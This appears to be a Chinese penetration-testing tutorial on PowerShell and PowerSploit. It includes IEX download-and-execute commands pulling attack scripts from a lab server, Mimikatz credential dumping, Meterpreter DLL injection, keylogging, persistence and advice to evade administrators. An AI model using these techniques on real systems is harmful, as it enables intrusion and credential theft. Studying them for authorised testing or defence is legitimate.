前言
powershell是windows命令行shell程序和脚本环境,它提供了令人难以置信的灵活性和功能来管理 windows系统。
现在windows系统上基本上都有它的存在。正因为它的强大,才 能被我们所利用,帮助我们进行渗透测试。
powershell 的优秀之处:
1. 代码运行在内存中可以不去接触磁盘。
2. 从另一个系统中下载代码并执行。
3. 很多安全产品并不能监测到powershell的活动。
4. cmd.exe通常被阻止运行,但是powershell不会。各个 windows下powershell版本
powershell运行选项,以下介绍了渗透测试过程中我们经常要使用到的powershell运行选项:
1 2 -WindowsStyle Hidden 隐藏自己的窗口 -ExecutionPolicy Bypass 绕过策略 Powershell 脚本默认情况下无法在 cmd 下或双击执行,这时我们就可以使用这个选项绕过。
PowerSploit PowerSploit 是 GitHub 上面的一个安全项目,上面有很多 powershell 攻击脚本,它们主要被 用来渗透中的信息侦察、权限提升、权限维持。 项目地址:https://github.com/PowerShellMafia/PowerSploit
一、代码执行(CodeExecution) 1. Invoke-DllInjection 2. Invoke-ReflectivePEInjection 3. Invoke-Shellcode 4. Invoke-WmiCommand。
二、脚本修改(ScriptModification) 1. Out-EncodedCommand 2. Out-CompressedDll 3. Out-EncryptedScript 4. Remove-Comments。
三、权限维持(Persistence) 1. New-UserPersistenceOption 2. New-ElevatedPersistenceOption 3. Add-Persistence 4. Install-SSP 5. Get-SecurityPackages。
四、绕过杀毒软件(AntivirusBypass) Find-AVSignature。
五、信息收集(Exfiltration) 这个文件夹主要是收集目标主机上的信息。
六、信息侦察(Recon) 这个文件夹主要是以目标主机为跳板进行内网主机侦察。
搭建 PowerSploit 脚本服务器
1. 下载 PowerSploit 到服务器
2. 启动 Apache
3. 查看是否成功搭建
实战运用 由于篇幅问题,我们不可能针对每一个脚本都进行详细的介绍,所以这里我们来介绍一下实战 中最常用到的脚本。 IEX 远程下载脚本执行: 1 IEX(New-Object Net.WebClient).DownloadString(“脚本地址”) 获取 Shell: 1. Invoke-DllInjection 将 DLL 文件注入到当前进程中 我们首先来生成一个 DLL 反弹马
在目标机上保存 msf.dll 到本地
我们下载 Invoke-DllInjection
运行一个隐藏进程并注入 DLL 反弹木马
可以看见 Meterpreter 会话成功建立了
2. Invoke-Shellcode 在当前进程中注入 Shellcode Powershell 调用 Windows API 非常方便,所以也可以直接来执行 Shellcode。PowerSploit 也提供 了一些 Shellcode,看下图:
扩大成果-内网端口扫描
1. 我们先下载 Invoke-Portscan
2. 结果
获取主机密码 为了不让管理员发现,我们不能再目标机上添加任何账户,这时候我们就需要来获取管理员密码来 维持访问。这里我们就需要使用到脚本 Invoke-Mimikatz,注意需要管理员权限。
1. 下载脚本
2. dump 密码
1 Invoke-Mimikatz –DumpCreds
再来一个大杀器,键盘记录
这样它就进行键盘记录,不仅有键盘输入记录还有鼠标输入记录,而且还有很详细的时间,实战使 用的时候,我们就要在放入后台运行。 漏洞探测-攻击进行时 下载脚本:
1 IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/Privesc/PowerUp.ps1" ) Invoke-AllChecks:输出可识别的漏洞
自学指南-Get Help 脚本很多,但是网上基本上找不到使用教程,所以就需要 来获取帮助信息,来帮助自己学习。 比如 Invoke-DllInjection 下载脚本:
1 IEX(New-Object Net.WebClient).DownloadString("http://192.168.6.133/PowerSploit/CodeExecution/Invoke -DllInjection.ps1") 获取帮助信息: Get-Help Invoke-DllInjection
查看事例:Get-Help Invoke-DllInjection -Examples
查看详细信息:Get-Help Invoke-DllInjection –Detailed